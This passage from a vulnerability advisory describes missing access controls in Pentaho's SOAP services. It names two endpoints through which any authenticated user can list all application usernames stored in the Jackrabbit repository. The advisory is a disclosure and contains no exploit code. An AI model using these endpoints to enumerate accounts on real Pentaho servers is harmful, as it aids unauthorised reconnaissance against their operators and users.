Vulnerability Details:  
  
Pentaho implements a series of web services using the SOAP protocol to  
allow scripting interaction with the backend server. HAWSEC identified that  
the services userRoleListService and ServiceAction exposed through the  
"/pentaho/webservices/userRoleListService" and  
"/pentaho/ServiceAction?action=SecurityDetails" endpoints are not enforcing  
sufficient access controls. Specifically, an authenticated user can list  
all application usernames present in the Jackrabbit Repository.
